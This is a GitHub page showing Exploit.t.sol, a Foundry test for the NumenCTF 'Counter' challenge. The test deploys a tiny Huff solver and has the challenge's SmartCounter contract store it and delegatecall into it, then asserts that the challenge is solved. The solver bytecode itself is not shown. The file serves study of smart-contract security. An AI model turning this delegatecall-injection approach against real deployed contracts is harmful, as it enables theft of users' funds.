-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathExploit.t.sol
More file actions
28 lines (22 loc) · 824 Bytes
/
Copy pathExploit.t.sol
File metadata and controls
28 lines (22 loc) · 824 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.15;
import "foundry-huff/HuffDeployer.sol";
import "forge-std/Test.sol";
import "./challenge/Counter.sol";
contract ExploitTest is Test {
function test() public {
Solver solver = Solver(HuffDeployer.deploy("NumenCTF/Counter/Solver"));
require(address(solver).code.length <= 24);
address playerAddress = makeAddr("player");
SmartCounter counter = new SmartCounter(address(this));
vm.deal(playerAddress, 1 ether);
vm.startPrank(playerAddress, playerAddress);
counter.create(address(solver).code);
counter.A_delegateccall("");
vm.stopPrank();
assertTrue(counter.isSolved(), "Invalid Instance");
}
}
interface Solver {
function blockNumber() external returns (uint32);
}